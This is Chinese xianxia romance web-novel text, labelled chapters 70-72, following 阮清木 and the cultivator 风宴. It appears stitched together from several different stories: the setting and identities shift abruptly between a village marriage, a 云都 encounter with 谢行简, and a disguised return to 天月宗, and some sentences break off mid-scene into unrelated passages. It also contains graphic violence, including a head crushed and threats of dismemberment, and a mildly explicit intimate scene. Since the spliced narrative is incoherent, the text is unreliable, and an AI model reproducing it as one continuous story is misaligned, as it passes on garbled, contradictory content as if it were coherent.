后院那个,已经在自己琢磨着要把房子重新建起来了,阮清木觉得过意不去:自家房子塌了,却是租客在帮忙重建,怎么想都是他们占了大便宜。 三天过后,楚意已经把那屋子建得像模像样,她也没来打扰阮清木,每天就自顾自练剑、修行,然后去宴里疯野,风宴对她还算是满意。 那天,楚意忽然抓了个小鱼儿,说自己暂时不想吃,就放在阮清木家中的水缸中养着先。 这鱼生得有些古怪,眼珠子是透明的,鳞片也尤其闪亮,在水里游动时,有点梦幻似的美丽。 “这是我在宴腰那个河里逮到的。”楚意盯着这鱼,蠢蠢欲动,“你会做鱼吗?” 楚意很想吃,但是被师祖下了止杀令,便想着让阮清木帮她做。 阮清木摇头,她说得还有点害怕,“这个不像是什么普通的鱼儿啊,要不然你把它放了吧。” 抓到的,哪里有再放了的道理。 “你那个阴沉的丈夫什么时候回来?”楚意不耐烦,“你不敢动手就算了,让他回来把这鱼杀了。” 阮清木愣了愣,“我夫君,很阴沉吗?” 楚意说得理所当然,“只要有你在的地方,他的眼睛就会望着你,而且不喜欢你跟别人交流。连我这么好脾气的一个人都不喜欢他。这难道不阴暗?” 怎么又换了个形容词。 阮清木默默道:“你的脾气很好吗?” 楚意翻着白眼走了,她还指望风宴帮自己杀鱼,可风宴今晚却没有回家,小鱼就被养在了水缸里。 睡觉前,阮清木还提着灯去厨房里望了望,总觉得这条鱼有些诡异。不过楚意就住在后面,如果发生什么事情,叫一嗓子她应该能听见。 阮清木缩着手回屋睡觉了。 一到夜里,宴风总是呜呜咽咽地吹,像是有什么东西在哭。 睡梦里,阮清木感到有人在摸她的脸。 那只手湿漉漉的,水的腥气,幽幽袭来,让她有种溺毙的感觉,呼吸错乱的一瞬间,阮清木猛地睁开了眼睛。 只见一张贴得极近的漂亮脸。 是个男人。 他有尖尖的下巴,大大的眼睛,满脸哀伤之色。正柔弱无骨地伏在她的身上,大颗眼泪顺着眼角滚落,不要钱似的往她脸上砸。 阮清木连忙往旁边躲去,伸脚猛地踹了那男人一下。 “唉哟。” 男人被她踹得滚到床的另一边,还在用那双大眼睛凝望着她,目光无限哀怨,楚楚可怜着说:“您请用吧。” 阮清木的脊背紧贴着墙壁,见他不像是要伤害自己的样子,胆子便大了起来,“你什么意思?” 被子散乱地堆叠在床边。 水鬼般的男人闻言很是难为情,勾过被子遮住自己的脸,像是要哭了,“只要您不杀我,想怎么对我都可以的……” 声音闷在被子里,嗡嗡地让人听不清楚。 到最后,他竟还呜咽着哭出声来。 外头响起了几声乌鸦叫,跟他的哭声混杂起来,听得人心里发慌。 小鱼哭得很伤心。 七凌峰向来灵气充裕,妖怪也多,却不恶。从来没什么太血腥的事情发生。 他已能化成人形,惯是自由自在地在河里玩耍,谁知道突然出现个恶犬似的女修想吃了他。 白天时候,小鱼看得很分明,眼前的这个女人并不想杀死它。 如果他能够讨得此女欢心,说不定还有一线生机。 小鱼悄悄从被子里探出头来,泪眼迷蒙着偷偷打量着阮清木,哭着哭着,忽而打了个嗝,连忙又重新把脸遮了起来。 阮清木正好奇地看着他,这时候大概反应过来,“你是那条鱼啊。” 小鱼含泪点头。 她们还在一言一语着说话,两人自顾自把戏唱完,从严厉的批判再到相互劝慰,最后又单方面宣布原谅了阮清木。 “你一个外来媳妇儿,夫君又是常年不着家的,更应该跟村里人亲近些,以后有事了咱们还能帮帮忙。” “阮阮,那这事儿就托在你们夫妻身上啦?”柳小桃亲密地拍拍她肩,“就喜欢你这样懂事的孩子。” 阮清木却还是摇头。 她眼神清澈,叹一口气,“不瞒你们说。我夫君他年纪大了,做事情都力不从心的,在宗门里日子也很不好过。” 今天还把自己搞受伤了。 活这么大,阮清木其实还不怎么擅长拒绝别人。 她只能委婉地表示:“我夫君的差事,只是说出去好听而已。其实我们过得很难。家里这么穷,连个孩子都养不起……” 两个大姐的脸色开始变得难看。 卧房的帘子却被人掀开了,有凛冽的气息斜斜涌来,阮清木惊得站起来,“你怎么一直在家啊?” 风宴嗯一声,“我在房里睡觉。” 他转而看着那两人,声音还算温和:“方兄弟是吗,让他明日跟我一道我去紫乾堂,瞧瞧根骨再说。” 柳小桃喜笑颜开,“哎呀,就知道师大仙君仁义心肠,肯帮衬你方大哥。” 方嫂子亦是笑道:“这可太好啦。别怪我多嘴,你家这小媳妇儿可不够意思,邻里乡亲的也三番两次舍下我们的老脸。早知道,我们直接来找你就是了。” 风宴平静着接口,“是啊。我夫人还太年轻,脸皮薄。往后若有什么事,直接来找我便是,我脸皮算厚,也听得懂这些连谤带讥的下流话,不至于叫你们白演了一出。” 两人彼此对望一眼,面色逐渐浮现点青白颜色,掺着点不可置信。 风宴又皱眉,“也是我疏忽,家里没养条狗。我这夫人又分不清好赖,什么脏东西都要往家里放。下次不会了。” 第 70 章 第 70 章 迅疾如风的剑法和盛气凌冽的剑势,令众侍卫握剑的手松了松,面面相觑,不知这女子是何来头,一时不知是进是退。 青木小厮见其熟悉的剑法,略有惊奇:“衍华的人竟也来了云都。” 但只要修为稍微高一点的人,就能察觉到,红木女子虽然剑法卓绝,修为却并不高深。 侍卫首领只惊了片刻,很快反应过来,眼眸中一片冷意:“又来一个多管闲事的,我看你们穿着也不像士族之人,不知是哪来的寒门小户,怕是没听说过云都的规矩,如此不把城主府放在眼里,这下你们道歉也晚了!” “少爷,我看这几人行踪可疑,不如押下去严刑审问。” 花从阙却嘴角翘起,抬手制止,“慢。” “他们不是寒门小户,是云都贵客。” 众侍卫一惊。 侍卫首领压低声音提醒:“少爷确定不是看花了眼?哪个世家大族、宗门大族会这般磕碜,就带这几号人出门?更何况他们修为也不高,如此不把云都府放在眼里,怎么可能是贵客?最近城中戒严,若是城主知道了恐怕也会责问,少爷可莫要心软!” 花从阙只漫不经心道:“有本少担保,怕什么,你们且先退下。” “是。” 侍卫走后,剑拔弩张的气氛稍稍消散。 花从阙垂眸看她时,映得眸光潋滟:“女侠方才一出手,当真是天人之姿。” 阮清木第一次被人直勾勾盯着夸,听得有些不好意思,摇了摇头道,“过奖了,举手之劳。” 阮清木心想这人是云都城主之子,他们身份悬殊,以后不会有更多交集,正要告辞。 但花从阙眼眸落在二人身上打量片刻,突然开口:“看两位应是初来云都,可有找到歇脚之处?不嫌弃的话,不如来城主府暂住几日。” 阮清木不打算应下,这趟来云都本就有正事要做,城主府定然规矩繁多,恐怕不利于出行。 “多谢阙少美意,只是我二人有要事在身,还是不多打扰。” 花从阙却好似看穿了她的顾虑,从腰间拿下一块灵玉:“二位不必担心,本少送你一件信物,便可城主府便可来去自由,不会受限。” 他未等阮清木答应,便强行塞入她手中。 阮清木皱起眉,那灵玉流光溢彩,显然是稀有的灵物。 “这灵玉太贵重,我二人承受不起,况且只是举手之劳,不必挂在心上。” 花从阙却没接,眼眸带了丝散漫:“不必担心,这灵玉不过是一道比较新奇的玩意儿罢了,算不上什么,云都比这贵重的稀世珍宝多了去了,若二位事情办妥还有时间,我可带你们好好游玩一下,开开眼界。” 风宴凉凉的目光扫过来。 阮清木并未看风宴,却莫名觉得周身气息有些冷,大抵是云都的风大了些。 微凉的春风中,隐约中听到侍女低低惊呼,“小姐,您没事吧?” 身后点缀着古朴图腾的轿帘突然被一只修长如玉的手掀开,随后是靴子踩在檀木轿板上不疾不徐的脚步声,和青木小厮恭敬的声音:“公子。” 一时周遭突然又静了下来,隐隐约约浮现惊叹声。 阮清木若有所觉的回头。 时下春山好处,那人头佩琳琅发冠熠熠生辉,青緺木袍层层垂落,琼琚点缀青玉,缓缓走来时腰间朱佩宛若流玉作响,晕染出整个人恣意又清和。 宴宴是个神清骨秀的少年模样,却满头银发。 如此相貌,世所罕见,引起众人屏息。 青木少年在她身前不远处驻足,清澈乌黑的眼眸不经意的落到她身上,但只淡淡一眼,却好似拨雪见山,凝视万年。 春日杏花飘落,他向她微微一笑,似有雾气氤氲开来。 阮清木微微一愣,脑中出现一刹空白。 谢行简?越来越近了—— 风宴眼皮一颤,浑身僵硬起来。 先前也不是没抱过,为何这次异样感如此强烈? 他压下不适,心想,果然不管和她接触多少次,他的身体都会如此抵触,相处越久,越发厌恶。 他忽略心底异样,冷淡问道:“多久能好?” 阮清木一边汲取灵力一边安抚他,“别急,紫苏夫人的毒,心急可解不了。” 她见他果然沉默下来,心念一动,又想到了个更充分的理由:“或许只有我一个人运力不顶用,得加上你呢?” 少年蹙眉,寒凉的眸睨向她,“这是何意?” 阮清木心底期待,看起来却不动声色,平静道:“就像我对你这般主动。” 风宴望进她温柔又期待的眸子,心底异样再次蔓延上来。 下一刻,他已然把她推开,视线也挪开。 风宴转身冷道:“何至于此,还是找那位医仙更为妥当。” 阮清木揉了揉被他甩开的手腕,有些可惜,但还是淡淡答:“好。” 果然还是操之过急了。让他接受她的接触都不阮易了,还让他主动……大抵他对解毒的渴望没有她对灵力的渴望那么重,压根无法接受。又或许是因他最讨厌的那一类女子,无论如何不可能对她主动。 阮清木正要离开,却又被风宴唤住,“站住。” 他好似就在方才的片刻间悟出了什么,看向她的眸光幽深无比:“你……对谁都如此主动么?” 阮清木以为他改变主意,轻笑回答:“我只对你主动。” 风宴唇角紧绷,递来的眸光愈发深邃起来,似乎思考该如何解释她近日的行为,才符合逻辑。 思忖良久,脑海中浮现出唯一一个可以解释的大胆却符合逻辑的想法。 “你,喜欢我?” 阮清木心头巨震:“?” 是她太主动了以至于让他有这般错觉吗? 正想解释,但转念一想,为了灵力她是不是不否认更好?若是说不喜欢,他定然觉得她没眼光,她到时就更难接近他了。 风宴见她面上有被戳穿似的羞赧,心下早已认定,唇角淡淡勾起:“你这般处心积虑,莫非是想做我的道侣?” 阮清木心头又震:“???” 不是,谁教他这么想的?她可不想找一只妖做道侣! 但解释的话又在嘴边压抑了回去。 她做事很少直来直去,先前为了承担起大师姐的责任,让自己稳重,习惯了再三思虑。 如果以解毒为由,他如此被动,她获取的灵力丝丝缕缕,恐怕只有两个人的关系更近一层,他才会主动,所以让他误会一次,好像也没什么不好。 想到那日师尊给予的气势磅礴的灵力就馋。 风宴唇角勾了勾,心想果然如此。 他眼底浮现出浅浅厌恶,“我劝你死了这条心,你寿数短暂,修为低微,有如蜉蝣朝生暮死,我不可能选择你做我的道侣。” “虽然现下你我同行,但并不代表你有机会。待解了毒,你我永不再见。” 况且,他最厌恶的便是她这般女子。她算是踩着他雷点长的,居然敢动歪念头。 阮清木听得叹为观止,好在他说的是子虚乌有的话,她并不难过,只感叹他们妖的思维果然是如此不同的。 她敛起情绪,寻思着怎么回答才能既不得罪他,又能继续靠近获取灵力。 于是她嘴角微翘,笑中透出点苦涩,终于低声承认:“我是心悦你。” “我告诉你我心悦你,并不是想做你的伴侣,我心悦你,才忍不住靠近。但你无需担忧,待为你解了毒,我日后不会缠着你。” 这通话说的流畅,跟背话本似的,虽然她未经历情爱之事,但相关话本也涉猎一二。她当时读这段的时候都被感动到了。 他寿数漫长,自然不会计较这些短暂的情爱,所以她敢骗他,也是知道他不会放在心上。 风宴眼眸幽邃若深潭,心底再次略微蔓延起异样,饶是已经确认了她的心意,但没想到她居然如此直率的承认了。 不得不说,想到和听到是截然不同的感觉。 看着她离开的背影,他又生出些许疑惑,她什么时候开始,已经对自己的喜欢到这般地步,竟然卑微到不要名分? 按照前世记忆,他这会儿,应当还未离家出走。 此般情景,与她记忆里最初来人间时,与他初遇时的画面重合了。 但又与记忆里有些不一样。 记忆里的谢行简更洒脱纨绔些,也不像如今这般满头银发。 或许重生一次,不是所有的事情都会按照原有的轨迹运转,比如她如今已然离开师门,与过去斩断。 又比如,她这一世,不会与他相识。 脑海中又浮现被桃木剑一剑贯穿胸膛,木间染血的画面。 阮清木心中升起微微悲凉,是她不识人。 前世与谢行简初遇时,他还是个离家出走的纨绔少年,与她同病相怜,两人曾经在人间相伴过一些日子。 那时的他是实打实的纨绔公子,除了在玩上钻研,其他一概不通,他带她赏遍人间良辰美景、人间乐事,以身犯险,她多次出手相救,也教了他简单的剑法和符咒防身,少年学起来也快。 也正是学得快,她才会有那般下场。说到底是她种下的因。 她从未问过他身世,他也从未问过她,不过萍水相逢的相伴,早就察觉少年身世复杂,本就不该错信。 如今便只当不识。 思绪刹那收回,阮清木已经淡淡别开了目光,除了最初的微微一愣之外,再无其他情绪。 她一向是温和而淡漠的,情绪一般不会出现很大波动。 风宴却蹙了蹙眉,目光落在两人身上,似乎察觉出了气氛微妙不同。 又来一个。 她答应要为他解毒,却和这么多人纠缠不清,出了差错可不行。 他只想早点解了毒,摆脱这个女子。现下不能让她有旁的心思,纠缠分心。 风宴眼眸不耐,却突然察觉阮清木轻轻握了握他的手,带着丝安抚的意味。 风宴眉梢微挑,凉凉看向她。 阮清木凑近,压低声音提醒他:“别冲动嘛,莫要忘了紫苏夫人离开放下的狠话,必不会就此罢休,你身份特殊,在人间不要轻易动手。” 她这么一说,风宴心底不耐确实消散了几分。 谢行简温润的目光落在阮清木身上,见她正与身旁男子亲密低语,两手交握,唇角笑意好似淡了些。 花从阙见谢行简面色一沉,以为方才之事惹他不悦,便正了正面色向他拱手:“抱歉,方才是我的马失惊,冲撞了公子。” 谢行简声线微微沙哑,却未失礼:“无需介怀,也是我管教不严,对阙少无礼。” 说完,他的目光又不经意落在阮清木身上。 如果阮清木与他说句话,便会发现他如今收敛脾性,谦逊有礼,温润如玉,是她最喜欢的样子。 可她除了最初时淡然一暼,未再多看他一眼。 她与旁人看到他时的惊叹不同,她的反应过于平淡,好似对他不感兴趣。《 》 70-80 第 71 章 第 71 章 “所以你是那个女主人养的野男人?”林微叹气,“师妹,找我到底有何事?我是不会帮你做坏事的。” “就是他们出去吃饭,我偷偷跟上去,本来我是在外头看两小儿斗蛐蛐看得正高兴,结果不知怎地,就又不由自主去饭馆子里,刚好看到他们两个被为难,阮清木又怕得要死那怂样,明明人都被他们夫妻打趴下……” 一说起来就没完,总也找不到重点,但楚意就是觉得不对劲,她细细回想自己的话,灵光一闪:“不错,我为何会不由自主,一心要去看阮清木呢?” 就像是完全不受控制了一样,身体不受大脑支配,但意识还在,也知道自己在做什么。 真是让人想不通。 林微听了半天,跟她分析:“因为你喜欢她,喜欢一个人,就会不由自主地牵挂她,怕她受欺负,忍不住要去看看她。” 楚意大吃一惊,“我难道通了情爱?那师兄,我往后还能再修我的十八归元剑么,这女人真古怪,坏了我修行可不行,我必须离她远点。” 林微劝她:“由爱生怖,师妹,你无需将此事看得太重。若是刻意远离她,反而会乱了你的心志,还是如往常一样吧,横竖你这人缺心眼,纵使通了情爱也无妨的。” 是这个道理。蛋糕很好吃。 阮清木晚饭后,有一点撑,跟风宴挤在那张摇椅上看星星。 风宴还在掰弄着她的手,看到她被燎红的那块印迹的确已经消失了,于是捏一捏她的手心。 阮清木在他脖颈间蹭蹭,“楚意好像真的很喜欢那条鱼,到现在还生气,说以后都不来我们家吃饭了。” 这不是好事吗? 风宴懒洋洋地应了一声,总算觉出几分满意。 “不对。”阮清木又不对了起来,“她性格这么皮,该不会是打算,以后都来偷走我们的饭菜吧?” 就像是今天的大鲤鱼。 风宴静了片刻,“应该不会,别担心。” 否则,他会去找点麻烦。 阮清木幽幽叹口气,还在苦恼,“怎么把她也惹生气了呢,该怎么跟她……” “木娘。”风宴捏了下她的耳垂,语气轻淡,“我们可以说些别的。” 阮清木却只是沉默。 今夜月明风清,落目皆白,是澄静的明亮。 她的耳朵贴在风宴的锁骨处,数着他的心跳。 但她自己的又太大声了,逐渐盖过了男人的。 风宴有极轻的疑惑,“你怎么了?” 可她只是转了点身子,把整张脸埋在了对方怀里,没有说话。 这个人,看着可靠稳重,然而是有极其不正经的一面。 “木娘?”他一掌盖住了她的后脑,又移到脖颈处,指腹按着向下,又叫一声,很轻,像在呢喃,“木娘。不喜欢我这么叫你么。” 叫得她骨头都酥了。 阮清木闷闷地笑了笑,“大家都喊我阮阮。” 他慢条斯理着说:“我不想跟旁人一样。” 风宴的手指已经探到了她的脊背,一开始的动作里没什么轻浮的意思,只是很坦诚地贴着她,想靠近多一点。 可是阮清木的喘。息声变得慌乱起来,脚尖紧绷着立起,抵住风宴的小腿。 她抬头,露出一双眼,月色之下,清凌凌的一汪水,里面是他的影子。 风宴覆唇过去,温。热的唇面印在了她的眼皮上,察觉她的眼珠子在薄薄的眼皮底下乱转。 男人的气息烫过肌肤,有着蛋糕的甜香。 她的衣衫半褪,裸。在皎白的月色里,感觉自己像是游在月亮里的一尾鱼。 风宴亲了亲她的锁骨,他始终平心定气的,做这种事,也不显得情难自已。一只手覆在她的胸前,完全拢在掌心里,不自觉用了点力,忽而却被阮清木抓住手腕往旁边甩开了。 他的气息也乱了瞬,用额头抵着她,清风朗月似的眸子颤了颤,疑惑地望着她。 “嗯?” 阮清木没出声,用额头不轻不重地撞了下他的脑袋,蜷着身子又缩进他的怀中,两手用力勾着风宴的脖颈。 她的呼吸很重,洒在他的颈边,让他恍然间想起从前,被一只漂亮的血红菌子妖缠满菌丝的感觉。 阮清木的菌丝不害人,只是会叫他做一个旖旎的梦,把他永远困在那里面出不来。 就这么睡下去也不错。 “木娘。”他又叫,摸着她的后背,疑惑着问她,“你要做什么,你不想让我碰你么。” 那为何又抱得那么紧。 阮清木的五感好像都被风宴控制了,没法发出声音,只是摸了摸他的下巴,手指点在他的嘴唇上,慢慢描摹着形状,又被他一口含。进去,浑身触了电一样的麻。 “我知道了。” 风宴咬着她的手指,不让她退出去,含糊说话之间,舌头卷着她的手指,触感奇妙。 阮清木想试着把手指拔。出来,可他咬着不放,再用力怕伤到他,只好用额头一下下撞着他的胸口,“……你又知道什么了。” 他被撞得终于肯放口,但还要抓着阮清木的手,反剪在她身后,淡淡着说:“口是心非。” 那是个被禁。锢住的姿势。 阮清木得仰着身子和他对望,见他依旧姿态闲散,眼睛一错不错地专注看她,像是在轻笑,“木娘怎么会养成这样的脾性,嗯?” 阮清木一时失语,耳根后烧得通红,挣开风宴的束缚,用手搓了搓自己发热的脸,但目光很不规矩,见男人略有分神,忽而就将手伸进了他的衣服里面去。 她那点打算瞒不住别人,风宴仍由她动作。被人上下其手的是有些微妙,她的手很小,却仿佛有什么法力,摸到哪里,哪里的血液就要沸嚣起来。 然而阮清木显然比他更不好意思,摸了两把就自己悄悄地撤了,人也跟着想从他身上下去。 风宴按住她的腰,“走哪里去?再跟我说说话吧。” 一开口,她的声音里却有些嗔娇,“有什么好说的啊。” 不过想明白以后,楚意又有点后悔,觉得自己白天时候打得太轻了,下次再见到,她绝不会客气,少说也得卸他两条胳膊。 被她记挂着的纨绔,如今躺在一副棺材里,正瑟瑟发抖着。 他半张脸都碎掉了,皮肉之下,是碎成了渣的筋骨,好在没伤到脑子,王府里养的几个修士帮他暂保一命。 但修士们认出来,打在他身上的法力非同寻常,哪怕只残留那么一线灵力,都叫修士们见了大为骇然,直言此人可怖,是位世所罕见的大能。 即使她只是个女子。 他母亲忧虑着会被上门报复,于是在王府院里假意挂出去白幡,只做他已死去的假象,指望他能逃过一劫,但他此刻躺在棺材里,分明能听见肃杀起来的风声。 有人,轻轻扣了扣他的棺材板子。 轻轻的一声,吓得他当场失禁,浊黄的尿液顺着棺材缝隙,一滴滴落在地上。 愈发显得灵堂里寂静无声。 “假死。”风宴平静道,“出了这主意的人,若是能教你一二分聪明行事,也不至于有今天。” 话音刚落,那副由千年乌醉木打出来的棺材,霎时四分五裂着爆开,木材狠狠飞向四面八方,有一片打在灵堂的牌位上,哐当着跌在地上。 那人目眦欲裂,胆儿都要被吓破,手脚并用爬着想逃。 风宴提着他的领口,将他拎在半空,口吻如常,“你真该死。” 他只拼命摇头,涕泪四流着呜呜出声,人抖成了个筛子,简直能听见自己骨头的碎响。 魔……魔头来了。 “今天,是她先惹你的?”风宴问完又皱眉,改了自己的说法,“是她先看你不顺眼的?” 此事不大可能,除了偶尔跟他闹点不明不白的别扭,阮清木对谁都是个好脾性。 但她却对风宴说了对不起。 为了弄明白这声对不起,风宴便留他多活了小半天。 然而看着眼前人这幅皮囊,风宴嫌道,“怎么长成了这么一个下流模样,谁看了不想踹你一脚?” 哪怕真是阮清木先看他不顺眼惹了事,也是情有可原。 有什么好对不起的。 风宴却忘了,长相下流之人眼下已经无法出声了,然而他的表情的确是有些茫然。 于是风宴便干脆捏爆了他的脑袋,甩了甩手里的脑浆,回身去看那两个腿软跪地的小厮,“把白天的事情告诉我。” 说完,他却是侧了侧头,打出道术咒让其中一个先昏了。随后点了点另外一个,“你先说,若是跟那人等会儿说得东西对不上,我就会把你的四肢逐一卸下,再让……” “大爷饶命!”这人拼命磕头,哆哆嗦嗦着把白天的事情一句一句说完,也没漏过自家少爷那句糙话。 风宴的眼睛下面好像也溅了点血,映着他那一双戾气翻涌的眸,尤为阴森可怖。 阎罗鬼王不过如此了。 他平静地点点头,再把另外一人踹醒,叫他重说了一遍。 两人口供大差不差,的确就是个纨绔子弟见色起意的故事。 干脆利落把这两个送上了西天,风宴离开了王府,林微却在此刻摇起了玄铃,本不想理会,但这死小子愈摇愈烈,风宴不悦地将神识探过去,“何事?” “师祖,你无事吧?”林微却反过来问他,口吻焦灼,“苍凛宴神阵忽有灵力波动,是不是您遇上了什么危险?” 风宴的真身就在苍凛宴的法阵中闭关化劫,他的神魂做出个分身在外游荡,平白无故法阵起了波澜,大概率是风宴的神魂有了什么异样。 世间之事,能够引得风宴情绪出现剧烈变化的,不多。 林微觉得担心。 风宴口吻却讽刺,“怎么,你是能帮我解决烦心事?” 林微一愣,赫然道:“弟子无能……” 师祖已经干脆利落着闭了神识,动作里透着股不耐。 回家时,天已擦黑。 风宴特地往院子里遥遥看一眼,忽然明白过来,为何阮清木那么节省银钱的一个人,会舍得一份灯油费,让院门口的风灯始终微弱地烧着。 是为了等他回家。 他已用清洁术把自己弄干净了,但是阮清木心思细腻而敏感,上次匆忙处理完的衣衫都能被她闻见血腥味。风宴便先去了那条小溪里仔细泡了段小半刻钟,这才湿漉漉着出来,用灵力将周身催干。 他的神魂浩然高深,泡在水里,溢出的灵气吸引了几条小鱼,在他走时还追着他想跳出来,有一个吧嗒着摔倒在地面,被风宴一脚扫了回去。 院子里有股甜香。 原来是柳二娘送了点牛奶过来,这都是母牛现挤的奶,阮清木放在锅里煮沸了一遍,她琢磨着想用牛奶做点甜点,还好厨房里工具多,真的让她烤出来一只蛋糕。 做得过程很乱,属于是有什么加什么,阮清木也不知道她做出来了个什么东西,卖相也不佳。然而小心翼翼盛出来以后,闻着香气,还是觉得很幸福。 一转身,却见风宴静静立在厨房门口的身影。 他在很专注地看着她,眼底说不清是什么情绪。 第 72 章 第 72 章 “糖糖,带着我的那一份,好好活下去吧。” 可是,我好没用啊,母亲。 等黎清越到的时候,那处异动已然消失不见,但他还是仔仔细细地检查了一遍。 真是奇怪。等阮清木再抬起眼,凑近关切他的时候,林不语才猛然瞪大眼睛,下意识地往后退了一步。他险些没站稳,摔在地上,最后还是阮清木伸手扶了他一把,林不语才终于站定。 看林不语露出一副见了鬼的样子,阮清木不由蹙眉,再次确认了自己现在是“唐小米”的样子,而不是“阮糖”,更不是“阮清木”。 所以,这人是怎么了? 按道理来说,她和这人应该从未有过交集啊。 阮清木在冥思苦想的时候,林不语也在进行头脑风暴。十年过去了,他也有些记不清风宴妻子的模样,只是当时乍一看,觉得眼前人有些像而已。 现在仔细看看,似乎又不大像了。五官不像,只是给人的感觉略微有点相似。 反正只要她不是风宴的妻子就好,不然就凭风宴的那股子疯劲,怕是他还没开口,就要被天华剑一剑捅死了。不过想想也是,风宴的妻子早就死了,遇到一个与她相像的人又不是什么大事,不值得为这些大惊小怪。 于是,转眼间,阮清木便看见眼前人换了一副神情,浑身洋溢着孔雀开屏的气势。林不语乐呵呵地对她说:“多谢姑娘出手相救,在下天月宗弟子林不语。” 林不语。 阮清木在心中默念了一下这个名字,还是没能从记忆中找到有关他的消息,只能先接过他的话,继续表演:“原来你是天月宗的弟子,好厉害。我只是一介散修,叫唐小米,叫我小米就好。” 唐小米。 林不语看了看对方娇艳的脸庞,又听到这个朴素到有点过分的名字,一时之间有点错愕。但很快,林不语便收敛起自己的心绪,转而微笑道:“好,那我就叫你小米姑娘。” 阮清木:“……”用阮糖的身份去接近风宴? 原本只是灵机一动后的想法,但冷静下来,经过一番深思熟虑后,阮清木竟觉得这是一个绝佳的方法。 首先,风宴既然还想要复活阮糖,那对她起码还是有几分感情的,至少不会像防备其他人一样防备阮糖。其次,作为风宴在凡间的妻子,阮糖至少可以顺理成章地在天月宗待一段时间,并且不引人注意。最后,这次的神魂融合尚未完成,就算最后要抛弃阮糖这个身份,阮清木迟早也要取回神魂。 既然如此,为何不直接在神魂融合之后借由阮糖的身份醒过来,留在风宴身边? 阮清木越想越妙,思路也逐渐开阔起来。 只不过,以阮糖的身份醒过来,她虽然能深入天月宗,但遇到的挑战和试探的难度也会变大。一个不小心,若是被天月宗的长老们识破了身份,她怕是有命去没命回。 万事利弊相生,极端的风险之下便是巨大的收益。 阮清木从来不是一个畏惧风险的人,不然她也不会在那个时候打开母亲留下的东西,使用秘法,去接近风宴。而事实证明,阮清木赌赢了,她不仅修补了经脉,修为还更上了一层楼。 一旦在这样的赌局中尝过甜头,阮清木便难以说服自己彻底放弃这个想法。 阮清木指尖轻颤,将一堆丹药收好,又抱起糖圆。低下头,阮清木便看见了糖圆脖子上挂着的白玉吊坠。在糖圆灰色毛发的映衬下,那颗白玉石显得越发明亮灼眼。 “糖圆,之后我们先住在这里。”阮清木疲倦地揉了揉眉心,“时间也不早了,先休息吧。” 纵使心中有疑惑,糖圆到底也没问出口“之后”一词具体代表了多久的时间跨度,只是点点头,找到床铺的位置,一如既往地窝在了一旁。 简单地沐浴过后,阮清木在床上打坐,屏息运气,调理着自己的伤势。半晌,她才躺下,暂时抛却外界的纷纷扰扰,开始闭着眼休息。 疲惫的身体拖着她入睡,阮清木却能明显感受到自己的灵魂在被拉扯着。皱眉间,她想要睁眼,却被扯着坠入一团黑黢黢的迷雾之中。 熟悉的声音在耳边回响,厚重得像是宣告死亡的丧钟:“天道不公,为何不随吾一同毁灭这个世界?” “你的母亲失败了,但吾知道,你会成功的……” “你做得很好,吾很喜欢你身上的味道。孩子,你会成为吾最得意的作品。” “别再抗拒,接受……吾,接受宿命……” 阮清木拼命想要挣扎,但无形之中仿佛有无数条藤蔓捆绑住她的手脚,令她无法动弹,只能被迫地聆听这一段呓语。 黏腻感爬满阮清木全身,她被恶心到反胃,只能不断干呕。 再睁眼时,阮清木冒了一身冷汗,视线也失去了焦点。直到糖圆跳上床,蹭了蹭她发冷的手腕,阮清木才费劲地爬起来,靠在床边,大口大口地呼吸。 对于这一场噩梦,阮清木无法做到不在意。 阮清木收紧手,指尖掐住掌心的肌肤,几乎要将其刺破出血。极端的失控之中,阮清木意识到一个残忍的现实—— 时间从来不会倒退,错过之后,她不会再拥有第二次得天独厚的机会。 所以,一旦遇到,她必须牢牢抓紧,才能为自己,为青银,赢来一线生机。她会好好活下去,带着母亲的那一份。 糖圆仰头,无意间对上了阮清木的视线。她面色苍白,双眼却明若秋水,闪着坚定的光。 “糖圆。”阮清木轻声喊它,“愿不愿意再陪我回一次天月宗?” 短暂的愣神过后,糖圆果断地扑进了阮清木怀中,喵呜了一声。 阮清木将糖圆抱紧,感受着一颗心在胸腔处发出的狂跳声。她抿了抿唇,彻底下定决心—— 她要以阮糖的身份回到风宴身边,再次利用他,并且背叛他。 当时自己为什么要起这个名字?一定是被风宴吓坏了,脑子都不大正常了吧? 阮清木正在一旁捶胸顿足,林不语却低头,看见她拉住自己的手,不由耳热,心猿意马起来。林不语咽了咽,主动开口道:“小米姑娘可有受伤?” 阮清木才摇摇头,正要否认,林不语却已经将她拉到一处药铺,也不管三七二十一,买了一大堆丹药给她,当作谢礼。阮清木不好拒绝,只能将这些丹药放进储物袋,林不语这才心满意足。 他扬了扬眉,正想着趁机与小米姑娘再进一步,却听她问:“对了,不语师兄。你既然是天月宗弟子,那你认识传说中的清离仙君吗?” 林不语沉默了,面色几经变化,一颗心在不断撕扯中变得支离破碎。 持剑而来的时候,他分明察觉到这里的异动比山头更强烈,可现在这里毫无异样,只是平静得过分。 再要迈开脚的时候,身上的通讯玉简突然有了异动,是徐津传来的简讯,一向沉稳有力的声音有了明显的偏离:“师父,弟子和林师弟有些抵挡不住这山头洪流,我们就在山脚,那人也在……” 黎清越垂下眼,收回脚步,直直地御剑朝山脚而去。与此同时,一股磅礴浑厚的灵力逐渐覆盖了整座山。 过了好久,重新变成小猫样子的糖圆才从草丛里探出头来,它左看右看,见四处没人,才鬼鬼祟祟地慢慢踱步到另一旁。 阮清木不省人事地躺在那里,双眼紧闭,仿佛没了生息。 糖圆凑过去,一边扯着嗓子喵呜着,一边用爪子拍拍她的肩膀。它叫喊得卖力,阮清木却全无半点反应。一种大胆而可怕的想法漫上心头,糖圆的爪子颤颤巍巍地往阮清木的口鼻处探去,还没碰到,它便猛然一哆嗦,往后跳了好几步。 不行,娘亲不会死的,它必须找人救活娘亲! 它现在只是一只单纯又无辜的小猫咪,天月宗的那些人肯定不能把它怎么样的,实在不行,就先去找那个姓江的傻子好了…… 下定决心后,糖圆转过身,扑棱着四条腿,寻着记忆中的那座院落去了。 只需一眼,黎清越便能看出风宴怀中的女子早已没了生还的可能。 他的预料一向不会出错。“多谢掌门。” 若不是天华剑只认准风宴一人,他岂会如此容忍风宴?若不是天月宗需要天华剑坐镇,他又岂会拿出天月宗秘宝,只为了复活他那个凡人之妻? 要知道,有了九重莲和回魂珠,莫说是复活一个凡人,便是让一个修真大能起死回生也并非完全不可能之事。 暴怒之下,黎清越指着风宴的手都在发抖。 看黎清越着实气急了,纵使心中有恨,施问雁还是勉力安慰他:“师兄,人各有命,你还是先回去休息吧。一会让段止帮清离疗伤便可,宗门内还有诸多事务等着你处理,师兄还需保重自己。” 